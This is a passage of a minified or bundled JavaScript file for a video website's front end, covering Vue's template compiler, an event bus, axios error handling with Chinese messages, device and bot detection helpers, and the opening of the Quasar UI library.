    }
    function za(e, t, n, r) {
        var i = e.for
          , o = e.alias
          , a = e.iterator1 ? "," + e.iterator1 : ""
          , s = e.iterator2 ? "," + e.iterator2 : "";
        return e.forProcessed = !0,
        (r || "_l") + "((" + i + "),function(" + o + a + s + "){return " + (n || Ra)(e, t) + "})"
    }
    function Va(e, t) {
        var n = "{"
          , r = function(e, t) {
            var n = e.directives;
            if (!n)
                return;
            var r, i, o, a, s = "directives:[", c = !1;
            for (r = 0,
            i = n.length; r < i; r++) {
                o = n[r],
                a = !0;
                var u = t.directives[o.name];
                u && (a = !!u(e, o, t.warn)),
                a && (c = !0,
                s += '{name:"' + o.name + '",rawName:"' + o.rawName + '"' + (o.value ? ",value:(" + o.value + "),expression:" + JSON.stringify(o.value) : "") + (o.arg ? ",arg:" + (o.isDynamicArg ? o.arg : '"' + o.arg + '"') : "") + (o.modifiers ? ",modifiers:" + JSON.stringify(o.modifiers) : "") + "},")
            }
            if (c)
                return s.slice(0, -1) + "]"
        }(e, t);
        r && (n += r + ","),
        e.key && (n += "key:" + e.key + ","),
        e.ref && (n += "ref:" + e.ref + ","),
        e.refInFor && (n += "refInFor:true,"),
        e.pre && (n += "pre:true,"),
        e.component && (n += 'tag:"' + e.tag + '",');
        for (var i = 0; i < t.dataGenFns.length; i++)
            n += t.dataGenFns[i](e);
        if (e.attrs && (n += "attrs:" + Ga(e.attrs) + ","),
        e.props && (n += "domProps:" + Ga(e.props) + ","),
        e.events && (n += Da(e.events, !1) + ","),
        e.nativeEvents && (n += Da(e.nativeEvents, !0) + ","),
        e.slotTarget && !e.slotScope && (n += "slot:" + e.slotTarget + ","),
        e.scopedSlots && (n += function(e, t, n) {
            var r = e.for || Object.keys(t).some(function(e) {
                var n = t[e];
                return n.slotTargetDynamic || n.if || n.for || Ka(n)
            })
              , i = !!e.if;
            if (!r)
                for (var o = e.parent; o; ) {
                    if (o.slotScope && o.slotScope !== ca || o.for) {
                        r = !0;
                        break
                    }
                    o.if && (i = !0),
                    o = o.parent
                }
            var a = Object.keys(t).map(function(e) {
                return Ja(t[e], n)
            }).join(",");
            return "scopedSlots:_u([" + a + "]" + (r ? ",null,true" : "") + (!r && i ? ",null,false," + function(e) {
                var t = 5381
                  , n = e.length;
                for (; n; )
                    t = 33 * t ^ e.charCodeAt(--n);
                return t >>> 0
            }(a) : "") + ")"
        }(e, e.scopedSlots, t) + ","),
        e.model && (n += "model:{value:" + e.model.value + ",callback:" + e.model.callback + ",expression:" + e.model.expression + "},"),
        e.inlineTemplate) {
            var o = function(e, t) {
                var n = e.children[0];
                if (n && 1 === n.type) {
                    var r = Pa(n, t.options);
                    return "inlineTemplate:{render:function(){" + r.render + "},staticRenderFns:[" + r.staticRenderFns.map(function(e) {
                        return "function(){" + e + "}"
                    }).join(",") + "]}"
                }
            }(e, t);
            o && (n += o + ",")
        }
        return n = n.replace(/,$/, "") + "}",
        e.dynamicAttrs && (n = "_b(" + n + ',"' + e.tag + '",' + Ga(e.dynamicAttrs) + ")"),
        e.wrapData && (n = e.wrapData(n)),
        e.wrapListeners && (n = e.wrapListeners(n)),
        n
    }
    function Ka(e) {
        return 1 === e.type && ("slot" === e.tag || e.children.some(Ka))
    }
    function Ja(e, t) {
        var n = e.attrsMap["slot-scope"];
        if (e.if && !e.ifProcessed && !n)
            return Ua(e, t, Ja, "null");
        if (e.for && !e.forProcessed)
            return za(e, t, Ja);
        var r = e.slotScope === ca ? "" : String(e.slotScope)
          , i = "function(" + r + "){return " + ("template" === e.tag ? e.if && n ? "(" + e.if + ")?" + (qa(e, t) || "undefined") + ":undefined" : qa(e, t) || "undefined" : Ra(e, t)) + "}"
          , o = r ? "" : ",proxy:true";
        return "{key:" + (e.slotTarget || '"default"') + ",fn:" + i + o + "}"
    }
    function qa(e, t, n, r, i) {
        var o = e.children;
        if (o.length) {
            var a = o[0];
            if (1 === o.length && a.for && "template" !== a.tag && "slot" !== a.tag) {
                var s = n ? t.maybeComponent(a) ? ",1" : ",0" : "";
                return "" + (r || Ra)(a, t) + s
            }
            var c = n ? function(e, t) {
                for (var n = 0, r = 0; r < e.length; r++) {
                    var i = e[r];
                    if (1 === i.type) {
                        if (Wa(i) || i.ifConditions && i.ifConditions.some(function(e) {
                            return Wa(e.block)
                        })) {
                            n = 2;
                            break
                        }
                        (t(i) || i.ifConditions && i.ifConditions.some(function(e) {
                            return t(e.block)
                        })) && (n = 1)
                    }
                }
                return n
            }(o, t.maybeComponent) : 0
              , u = i || Za;
            return "[" + o.map(function(e) {
                return u(e, t)
            }).join(",") + "]" + (c ? "," + c : "")
        }
    }
    function Wa(e) {
        return void 0 !== e.for || "template" === e.tag || "slot" === e.tag
    }
    function Za(e, t) {
        return 1 === e.type ? Ra(e, t) : 3 === e.type && e.isComment ? (r = e,
        "_e(" + JSON.stringify(r.text) + ")") : "_v(" + (2 === (n = e).type ? n.expression : Xa(JSON.stringify(n.text))) + ")";
        var n, r
    }
    function Ga(e) {
        for (var t = "", n = "", r = 0; r < e.length; r++) {
            var i = e[r]
              , o = Xa(i.value);
            i.dynamic ? n += i.name + "," + o + "," : t += '"' + i.name + '":' + o + ","
        }
        return t = "{" + t.slice(0, -1) + "}",
        n ? "_d(" + t + ",[" + n.slice(0, -1) + "])" : t
    }
    function Xa(e) {
        return e.replace(/\u2028/g, "\\u2028").replace(/\u2029/g, "\\u2029")
    }
    new RegExp("\\b" + "do,if,for,let,new,try,var,case,else,with,await,break,catch,class,const,super,throw,while,yield,delete,export,import,return,switch,default,extends,finally,continue,debugger,function,arguments".split(",").join("\\b|\\b") + "\\b");
    function Ya(e, t) {
        try {
            return new Function(e)
        } catch (n) {
            return t.push({
                err: n,
                code: e
            }),
            S
        }
    }
    function Qa(e) {
        var t = Object.create(null);
        return function(n, r, i) {
            (r = A({}, r)).warn;
            delete r.warn;
            var o = r.delimiters ? String(r.delimiters) + n : n;
            if (t[o])
                return t[o];
            var a = e(n, r)
              , s = {}
              , c = [];
            return s.render = Ya(a.render, c),
            s.staticRenderFns = a.staticRenderFns.map(function(e) {
                return Ya(e, c)
            }),
            t[o] = s
        }
    }
    var es, ts, ns = (es = function(e, t) {
        var n = la(e.trim(), t);
        !1 !== t.optimize && ka(n, t);
        var r = Pa(n, t);
        return {
            ast: n,
            render: r.render,
            staticRenderFns: r.staticRenderFns
        }
    }
    ,
    function(e) {
        function t(t, n) {
            var r = Object.create(e)
              , i = []
              , o = [];
            if (n)
                for (var a in n.modules && (r.modules = (e.modules || []).concat(n.modules)),
                n.directives && (r.directives = A(Object.create(e.directives || null), n.directives)),
                n)
                    "modules" !== a && "directives" !== a && (r[a] = n[a]);
            r.warn = function(e, t, n) {
                (n ? o : i).push(e)
            }
            ;
            var s = es(t.trim(), r);
            return s.errors = i,
            s.tips = o,
            s
        }
        return {
            compile: t,
            compileToFunctions: Qa(t)
        }
    }
    )(Ca), rs = (ns.compile,
    ns.compileToFunctions);
    function is(e) {
        return (ts = ts || document.createElement("div")).innerHTML = e ? '<a href="\n"/>' : '<div a="\n"/>',
        ts.innerHTML.indexOf("&#10;") > 0
    }
    var os = !!z && is(!1)
      , as = !!z && is(!0)
      , ss = g(function(e) {
        var t = Yn(e);
        return t && t.innerHTML
    })
      , cs = wn.prototype.$mount;
    return wn.prototype.$mount = function(e, t) {
        if ((e = e && Yn(e)) === document.body || e === document.documentElement)
            return this;
        var n = this.$options;
        if (!n.render) {
            var r = n.template;
            if (r)
                if ("string" == typeof r)
                    "#" === r.charAt(0) && (r = ss(r));
                else {
                    if (!r.nodeType)
                        return this;
                    r = r.innerHTML
                }
            else
                e && (r = function(e) {
                    if (e.outerHTML)
                        return e.outerHTML;
                    var t = document.createElement("div");
                    return t.appendChild(e.cloneNode(!0)),
                    t.innerHTML
                }(e));
            if (r) {
                var i = rs(r, {
                    outputSourceRange: !1,
                    shouldDecodeNewlines: os,
                    shouldDecodeNewlinesForHref: as,
                    delimiters: n.delimiters,
                    comments: n.comments
                }, this)
                  , o = i.render
                  , a = i.staticRenderFns;
                n.render = o,
                n.staticRenderFns = a
            }
        }
        return cs.call(this, e, t)
    }
    ,
    wn.compile = rs,
    wn
});
(function(root, factory) {
    if (typeof exports === "object" && typeof module === "object")
        module.exports = factory();
    else if (typeof define === "function" && define.amd)
        define("EventBus", [], factory);
    else if (typeof exports === "object")
        exports["EventBus"] = factory();
    else
        root["EventBus"] = factory()
}
)(this, function() {
    var EventBusClass = {};
    EventBusClass = function() {
        this.listeners = {}
    }
    ;
    EventBusClass.prototype = {
        addEventListener: function(type, callback, scope) {
            var args = [];
            var numOfArgs = arguments.length;
            for (var i = 0; i < numOfArgs; i++) {
                args.push(arguments[i])
            }
            args = args.length > 3 ? args.splice(3, args.length - 1) : [];
            if (typeof this.listeners[type] != "undefined") {
                this.listeners[type].push({
                    scope: scope,
                    callback: callback,
                    args: args
                })
            } else {
                this.listeners[type] = [{
                    scope: scope,
                    callback: callback,
                    args: args
                }]
            }
        },
        removeEventListener: function(type, callback, scope) {
            if (typeof this.listeners[type] != "undefined") {
                var numOfCallbacks = this.listeners[type].length;
                var newArray = [];
                for (var i = 0; i < numOfCallbacks; i++) {
                    var listener = this.listeners[type][i];
                    if (listener.scope == scope && listener.callback == callback) {} else {
                        newArray.push(listener)
                    }
                }
                this.listeners[type] = newArray
            }
        },
        hasEventListener: function(type, callback, scope) {
            if (typeof this.listeners[type] != "undefined") {
                var numOfCallbacks = this.listeners[type].length;
                if (callback === undefined && scope === undefined) {
                    return numOfCallbacks > 0
                }
                for (var i = 0; i < numOfCallbacks; i++) {
                    var listener = this.listeners[type][i];
                    if ((scope ? listener.scope == scope : true) && listener.callback == callback) {
                        return true
                    }
                }
            }
            return false
        },
        dispatch: function(type, target) {
            var event = {
                type: type,
                target: target
            };
            var args = [];
            var numOfArgs = arguments.length;
            for (var i = 0; i < numOfArgs; i++) {
                args.push(arguments[i])
            }
            args = args.length > 2 ? args.splice(2, args.length - 1) : [];
            args = [event].concat(args);
            if (typeof this.listeners[type] != "undefined") {
                var listeners = this.listeners[type].slice();
                var numOfCallbacks = listeners.length;
                for (var i = 0; i < numOfCallbacks; i++) {
                    var listener = listeners[i];
                    if (listener && listener.callback) {
                        var concatArgs = args.concat(listener.args);
                        listener.callback.apply(listener.scope, concatArgs)
                    }
                }
            }
        },
        getEvents: function() {
            var str = "";
            for (var type in this.listeners) {
                var numOfCallbacks = this.listeners[type].length;
                for (var i = 0; i < numOfCallbacks; i++) {
                    var listener = this.listeners[type][i];
                    str += listener.scope && listener.scope.className ? listener.scope.className : "anonymous";
                    str += " listen for '" + type + "'\n"
                }
            }
            return str
        }
    };
    var EventBus = new EventBusClass;
    return EventBus
});
var xx = xx || {};
xx.requests = axios.create({
    timeout: 1e4
});
xx.requests.interceptors.request.use(function(config) {
    console.log("requests.interceptors.request.use:", config);
    return config
}, function(error) {
    return Promise.reject(error)
});
xx.requests.interceptors.response.use(response=>{
    console.log("requests.interceptors.response.use response:", response);
    const res = response.data;
    if (res.code !== 200) {
        console.log("请求错误");
        if (res.msg)
            ga.show_error(res.msg);
        if (res.description)
            ga.show_error(res.description);
        return Promise.reject(response)
    } else {
        if (res.msg)
            ga.show_success(res.msg);
        return res
    }
}
, error=>{
    let text = "";
    let err = JSON.parse(JSON.stringify(error));
    console.log("xx.requests.interceptors.response.use err:", err);
    if (err.response.status) {
        switch (error.response.status) {
        case 400:
            text = "请求错误(400)，请重新申请";
            break;
        case 401:
            text = "登录错误(401)，请重新登录";
            return this.$router.replace("/login");
        case 403:
            text = "拒绝访问(403)";
            break;
        case 404:
            text = "请求出错(404)";
            break;
        case 408:
            text = "请求超时(408)";
            break;
        case 500:
            text = "服务器错误(500)，请重启软件或切换功能页！";
            break;
        case 501:
            text = "服务未实现(501)";
            break;
        case 502:
            text = "网络错误(502)";
            break;
        case 503:
            text = "服务不可用(503)";
            break;
        case 504:
            text = "网络超时(504)";
            break;
        case 505:
            text = "HTTP版本不受支持(505)";
            break;
        default:
            text = "网络连接出错"
        }
    } else {
        text = "连接服务器失败,请退出重试!"
    }
    Message({
        showClose: true,
        message: text,
        type: "error"
    });
    return Promise.reject(error)
}
);
Vue.prototype.$axios = xx.requests;
$g.init_traffic = function() {
    var url_vars = avshow.getUrlVars();
    if (url_vars.f) {
        localStorage.setItem("f", url_vars.f);
        return f
    } else {
        var f = localStorage.getItem("f");
        if (!f) {
            f = document.referrer;
            localStorage.setItem("f", f);
            return f
        }
    }
}
;
$g.get_from_source = Vue.prototype.get_from_source = function() {
    var f = localStorage.getItem("f");
    return f
}
;
if (window.Vue) {
    Vue.prototype.init_traffic = $g.init_traffic;
    Vue.prototype.get_from_source = $g.get_from_source
}
$g.$message = Vue.prototype.$message = Vue.prototype.$messageX = function(messagedata, params={}) {
    var message = messagedata;
    if (typeof messagedata == "object") {
        message = messagedata.message
    }
    var {color, textColor, multiLine, icon, avatar, position, theme} = params;
    theme = !theme ? "theme-color" : theme;
    position = !position ? "top" : position;
    color = !color ? theme : color;
    textColor = !textColor ? theme : textColor;
    const twoActions = true;
    Vue.prototype.$q.notify({
        color: color,
        textColor: textColor,
        message: message,
        position: position,
        avatar: avatar,
        multiLine: multiLine,
        timeout: 8666
    })
}
;
Vue.prototype.is_bot = function() {
    return navigator.userAgent.includes("bot") || navigator.userAgent.includes("spider") || navigator.userAgent.includes("Lighthouse")
}
;
Vue.prototype.generate_image_url = function() {
    return navigator.userAgent.includes("bot") || navigator.userAgent.includes("spider") || navigator.userAgent.includes("Lighthouse")
}
;
Vue.prototype.is_root_domain = function() {
    try {
        return document.domain == $g.web_conf["domain"]
    } catch (e) {}
    return false
}
;
Vue.prototype.update_lazy = function() {
    console.log("this.lazyLoadInstance:", this.lazyLoadInstance);
    this.lazyLoadInstance = new LazyLoad({
        elements_selector: ".lazy",
        threshold: 800
    })
}
;
var myMixin = {
    created: function() {
        this.hello()
    },
    methods: {
        hello: function() {
            console.log("hello from mixin!")
        }
    }
};
$g.USERCTOR = UserObject = {
    data() {
        return {
            userdata: undefined,
            user: undefined
        }
    },
    created: function() {
        if (!$g.user_data) {
            this.update_user()
        } else {
            this.userdata = $g.user_data
        }
        this.user = $g.user;
        if (window.EventBus) {
            window.EventBus.addEventListener("update_user", this.update_user)
        }
    },
    beforeDestroy: function() {
        if (window.EventBus) {
            window.EventBus.removeEventListener(this.update_user)
        }
    },
    methods: {
        on_logout: function() {
            localStorage.removeItem("user")
        },
        update_user: function() {
            try {
                var userstirng = localStorage.getItem("user");
                if (userstirng) {
                    this.userdata = JSON.parse(userstirng);
                    if (!(this.userdata.user instanceof Object)) {
                        try {
                            this.userdata.user = JSON.parse(this.userdata.user)
                        } catch (e) {}
                    }
                    if (!this.userdata.user) {
                        this.userdata.user = Object.assign({}, this.userdata)
                    }
                    if (window.avshow) {
                        $g.user_data = this.userdata
                    }
                }
            } catch (e) {
                console.log("update_user error:", e)
            }
            this.$forceUpdate()
        }
    }
};
Vue.mixin(UserObject);
$g.UserObject = {
    data() {
        return {}
    },
    created: function() {},
    methods: {
        is_login: function() {
            return $g.user.is_login()
        }
    }
};
avshow.VideoObject = {
    data() {
        return {}
    },
    created: function() {},
    methods: {
        generate_cover_url: function(av_data) {
            var online_video = av_data["online_videos"][0];
            var hash_id = online_video["hash_id"];
            var space_name = online_video["space_name"];
            var static_host = avshow.get_static_host(space_name);
            var ih = av_data["ih"] || 1;
            var url = "https://" + static_host + "/videos/" + hash_id + "/cover/1_750?ih=" + ih;
            return avshow.generate_webp_url(url)
        }
    }
};
Vue.prototype.notify = function(message, position) {
    Toastify({
        text: message,
        duration: 6e3,
        destination: "",
        newWindow: true,
        close: true,
        gravity: "top",
        position: "right",
        backgroundColor: "linear-gradient(to right, #db2828, #de2128)",
        stopOnFocus: true,
        className: "info"
    }).showToast()
}
;
Vue.prototype.is_mobile = function() {
    let check = false;
    (function(a) {
        if (/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a) || /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0, 4)))
            check = true
    }
    )(navigator.userAgent || navigator.vendor || window.opera);
    return check
}
;
Vue.prototype.is_mobile_view = function() {
    return window.innerWidth <= 640
}
;
Vue.prototype.is_ios = function() {
    return ["iPad Simulator", "iPhone Simulator", "iPod Simulator", "iPad", "iPhone", "iPod"].includes(navigator.platform) || navigator.userAgent.includes("Mac") && "ontouchend"in document
}
;
Vue.prototype.$hub = window.$hub;
Vue.prototype.$config = $g.config;
Vue.prototype.$webhash = $g.webhash;
Vue.prototype.get_tracker = $g.get_tracker;
Vue.prototype.loadCssCode = function(code) {
    var style = document.createElement("style");
    style.type = "text/css";
    style.rel = "stylesheet";
    style.appendChild(document.createTextNode(code));
    var head = document.getElementsByTagName("head")[0];
    head.appendChild(style)
}
;
if (window.axios) {
    $g.$axios = Vue.prototype.$axios = axios.create({
        timeout: 1e4,
        headers: {
            webhash: $g.webhash
        }
    })
}
Vue.component("remote-css", {
    render: function(createElement) {
        var self = this;
        return createElement("link", {
            attrs: {
                ref: "stylesheet",
                href: this.href
            },
            on: {
                load: function(event) {
                    self.$emit("load", event)
                },
                error: function(event) {
                    self.$emit("error", event)
                },
                readystatechange: function(event) {
                    if (this.readyState == "complete") {
                        self.$emit("load", event)
                    }
                }
            }
        })
    },
    props: {
        href: {
            type: String,
            required: true
        }
    }
});
Vue.component("remote-script", {
    render: function(createElement) {
        var self = this;
        return createElement("script", {
            attrs: {
                type: "text/javascript",
                src: this.src
            },
            on: {
                load: function(event) {
                    self.$emit("load", event)
                },
                error: function(event) {
                    self.$emit("error", event)
                },
                readystatechange: function(event) {
                    if (this.readyState == "complete") {
                        self.$emit("load", event)
                    }
                }
            }
        })
    },
    props: {
        src: {
            type: String,
            required: true
        }
    }
});
window.$m = window._set_mount = function(id, M) {
    console.log("$m:", id, M);
    if (!window.Quasar) {
        return setTimeout(()=>{
            $m(id, M)
        }
        , 200)
    }
    var Ctor = Vue.extend(M);
    var mount_id = id;
    if (mount_id[0] == "." || mount_id[0] == "#") {} else {
        mount_id = "#" + mount_id
    }
    return (new Ctor).$mount(mount_id)
}
;
window.set_mount = _set_mount;
!function(t, e) {
    "object" == typeof exports && "undefined" != typeof module ? module.exports = e(require("vue")) : "function" == typeof define && define.amd ? define(["vue"], e) : (t = t || self).Quasar = e(t.Vue)
}(this, function(t) {
    "use strict";
    t = t && Object.prototype.hasOwnProperty.call(t, "default") ? t.default : t;
    var e, i = "undefined" == typeof window, s = !1, n = i, o = !1;
    var r = !1 === i && ("ontouchstart"in window || window.navigator.maxTouchPoints > 0);
    function a(t) {
        var o = t.toLowerCase()
          , a = function(t, e) {
            var i = /(edge|edga|edgios)\/([\w.]+)/.exec(t) || /(opr)[\/]([\w.]+)/.exec(t) || /(vivaldi)[\/]([\w.]+)/.exec(t) || /(chrome|crios)[\/]([\w.]+)/.exec(t) || /(iemobile)[\/]([\w.]+)/.exec(t) || /(version)(applewebkit)[\/]([\w.]+).*(safari)[\/]([\w.]+)/.exec(t) || /(webkit)[\/]([\w.]+).*(version)[\/]([\w.]+).*(safari)[\/]([\w.]+)/.exec(t) || /(firefox|fxios)[\/]([\w.]+)/.exec(t) || /(webkit)[\/]([\w.]+)/.exec(t) || /(opera)(?:.*version|)[\/]([\w.]+)/.exec(t) || /(msie) ([\w.]+)/.exec(t) || t.indexOf("trident") >= 0 && /(rv)(?::| )([\w.]+)/.exec(t) || t.indexOf("compatible") < 0 && /(mozilla)(?:.*? rv:([\w.]+)|)/.exec(t) || [];
            return {
                browser: i[5] || i[3] || i[1] || "",
                version: i[2] || i[4] || "0",
                versionNumber: i[4] || i[2] || "0",
                platform: e[0] || ""
            }
        }(o, function(t) {
            return /(ipad)/.exec(t) || /(ipod)/.exec(t) || /(windows phone)/.exec(t) || /(iphone)/.exec(t) || /(kindle)/.exec(t) || /(silk)/.exec(t) || /(android)/.exec(t) || /(win)/.exec(t) || /(mac)/.exec(t) || /(linux)/.exec(t) || /(cros)/.exec(t) || /(playbook)/.exec(t) || /(bb)/.exec(t) || /(blackberry)/.exec(t) || []
        }(o))
          , l = {};
        a.browser && (l[a.browser] = !0,
        l.version = a.version,
        l.versionNumber = parseInt(a.versionNumber, 10)),
        a.platform && (l[a.platform] = !0);
        var c = l.android || l.ios || l.bb || l.blackberry || l.ipad || l.iphone || l.ipod || l.kindle || l.playbook || l.silk || l["windows phone"];
        return !0 === c || o.indexOf("mobile") > -1 ? (l.mobile = !0,
        l.edga || l.edgios ? (l.edge = !0,
        a.browser = "edge") : l.crios ? (l.chrome = !0,
        a.browser = "chrome") : l.fxios && (l.firefox = !0,
        a.browser = "firefox")) : l.desktop = !0,
        (l.ipod || l.ipad || l.iphone) && (l.ios = !0),
        l["windows phone"] && (l.winphone = !0,
        delete l["windows phone"]),
        (l.chrome || l.opr || l.safari || l.vivaldi || !0 === l.mobile && !0 !== l.ios && !0 !== c) && (l.webkit = !0),
        (l.rv || l.iemobile) && (a.browser = "ie",
        l.ie = !0),
        (l.safari && l.blackberry || l.bb) && (a.browser = "blackberry",
        l.blackberry = !0),
        l.safari && l.playbook && (a.browser = "playbook",
        l.playbook = !0),
        l.opr && (a.browser = "opera",
        l.opera = !0),
        l.safari && l.android && (a.browser = "android",
        l.android = !0),
        l.safari && l.kindle && (a.browser = "kindle",
        l.kindle = !0),
        l.safari && l.silk && (a.browser = "silk",
        l.silk = !0),
        l.vivaldi && (a.browser = "vivaldi",
        l.vivaldi = !0),
        l.name = a.browser,
        l.platform = a.platform,
        !1 === i && (o.indexOf("electron") > -1 ? l.electron = !0 : document.location.href.indexOf("-extension://") > -1 ? l.bex = !0 : (void 0 !== window.Capacitor ? (l.capacitor = !0,
        l.nativeMobile = !0,
        l.nativeMobileWrapper = "capacitor") : void 0 === window._cordovaNative && void 0 === window.cordova || (l.cordova = !0,
        l.nativeMobile = !0,
        l.nativeMobileWrapper = "cordova"),
        !0 === r && !0 === l.mac && (!0 === l.desktop && !0 === l.safari || !0 === l.nativeMobile && !0 !== l.android && !0 !== l.ios && !0 !== l.ipad) && function(t) {
            var i;
            e = {
                is: Object.assign({}, t)
            },
            delete t.mac,
            delete t.desktop;
            var s = Math.min(window.innerHeight, window.innerWidth) > 414 ? "ipad" : "iphone";
            Object.assign(t, ((i = {
                mobile: !0,
                ios: !0,
                platform: s
            })[s] = !0,
            i))
        }(l)),
        !0 === (s = void 0 === l.nativeMobile && void 0 === l.electron && null !== document.querySelector("[data-server-rendered]")) && (n = !0)),
        l
    }
    var l = !0 !== i ? navigator.userAgent || navigator.vendor || window.opera : ""
      , c = {
        has: {
            touch: !1,
            webStorage: !1
        },
        within: {
            iframe: !1
        }
    }
      , u = !1 === i ? {
        userAgent: l,
        is: a(l),
        has: {
            touch: r,
            webStorage: function() {
                try {
                    if (window.localStorage)
                        return !0
                } catch (t) {}
                return !1
            }()
        },
        within: {
            iframe: window.self !== window.top
        }
    } : c
      , h = {
        install: function(o, r) {
            var a = this;
            !0 === i ? r.server.push(function(t, e) {
                t.platform = a.parseSSR(e.ssr)
            }) : !0 === s ? (Object.assign(this, u, e, c),
            r.takeover.push(function(t) {
                n = s = !1,
                Object.assign(t.platform, u),
                e = void 0
            }),
            t.util.defineReactive(o, "platform", this)) : (Object.assign(this, u),
            o.platform = this)
        }
    };
    !0 === i ? h.parseSSR = function(t) {
        var e = t.req.headers["user-agent"] || t.req.headers["User-Agent"] || "";
        return Object.assign({}, u, {
            userAgent: e,
            is: a(e)
        })
    }
    : o = !0 === u.is.ios && -1 === window.navigator.vendor.toLowerCase().indexOf("apple");
    var d = {
        hasPassive: !1,
        passiveCapture: !0,
        notPassiveCapture: !0
    };
    try {
        var p = Object.defineProperty({}, "passive", {
            get: function() {
                Object.assign(d, {
                    hasPassive: !0,
                    passive: {
                        passive: !0
                    },
                    notPassive: {
                        passive: !1
                    },
                    passiveCapture: {
                        passive: !0,
                        capture: !0
                    },
                    notPassiveCapture: {
                        passive: !1,
                        capture: !0
                    }
                })
            }
        });
        window.addEventListener("qtest", null, p),
        window.removeEventListener("qtest", null, p)
    } catch (t) {}
    function f() {}
    function m(t) {
        return 0 === t.button
    }
    function v(t) {
        return t.touches && t.touches[0] ? t = t.touches[0] : t.changedTouches && t.changedTouches[0] ? t = t.changedTouches[0] : t.targetTouches && t.targetTouches[0] && (t = t.targetTouches[0]),
        {
            top: t.clientY,
            left: t.clientX
        }
    }
    function g(t) {
        if (t.path)
            return t.path;
        if (t.composedPath)
            return t.composedPath();
        for (var e = [], i = t.target; i; ) {
            if (e.push(i),
            "HTML" === i.tagName)
                return e.push(document),
                e.push(window),
                e;
            i = i.parentElement
        }
    }
    var _ = 40
      , b = 800;
    function y(t) {
        t.stopPropagation()
    }
    function w(t) {
        !1 !== t.cancelable && t.preventDefault()
    }
    function S(t) {
        !1 !== t.cancelable && t.preventDefault(),
        t.stopPropagation()
    }
    function x(t, e) {
        if (void 0 !== t && (!0 !== e || !0 !== t.__dragPrevented)) {
            var i = !0 === e ? function(t) {
                t.__dragPrevented = !0,
                t.addEventListener("dragstart", w, d.notPassiveCapture)
            }
            : function(t) {
                delete t.__dragPrevented,
                t.removeEventListener("dragstart", w, d.notPassiveCapture)
            }
            ;
            t.querySelectorAll("a, img").forEach(i)
        }
    }
    function C(t, e) {
        void 0 === e && (e = {});
        var i = e.bubbles;
        void 0 === i && (i = !1);
        var s = e.cancelable;
        void 0 === s && (s = !1);
        try {
            return new Event(t,{
                bubbles: i,
                cancelable: s
            })
        } catch (e) {
            var n = document.createEvent("Event");
            return n.initEvent(t, i, s),
            n
        }
    }
    function k(t, e, i) {
        var s = "__q_" + e + "_evt";
        t[s] = void 0 !== t[s] ? t[s].concat(i) : i,
        i.forEach(function(e) {
            e[0].addEventListener(e[1], t[e[2]], d[e[3]])
        })
    }
    function q(t, e) {
        var i = "__q_" + e + "_evt";
        void 0 !== t[i] && (t[i].forEach(function(e) {
            e[0].removeEventListener(e[1], t[e[2]], d[e[3]])
        }),
        t[i] = void 0)
    }
    var T = {
        listenOpts: d,
        leftClick: m,
        middleClick: function(t) {
            return 1 === t.button
        },
        rightClick: function(t) {
            return 2 === t.button
        },
        position: v,
        getEventPath: g,
        getMouseWheelDistance: function(t) {
            var e, i = t.deltaX, s = t.deltaY;
            if ((i || s) && t.deltaMode) {
                var n = 1 === t.deltaMode ? _ : b;
                i *= n,
                s *= n
            }
            return t.shiftKey && !i && (s = (e = [i, s])[0],
            i = e[1]),
            {
                x: i,
                y: s
            }
        },
        stop: y,
        prevent: w,
        stopAndPrevent: S,
        preventDraggable: x,
        create: C
    };
    function $(t, e, i) {
        var s;
        function n() {
            var n = this
              , o = arguments;
            clearTimeout(s),
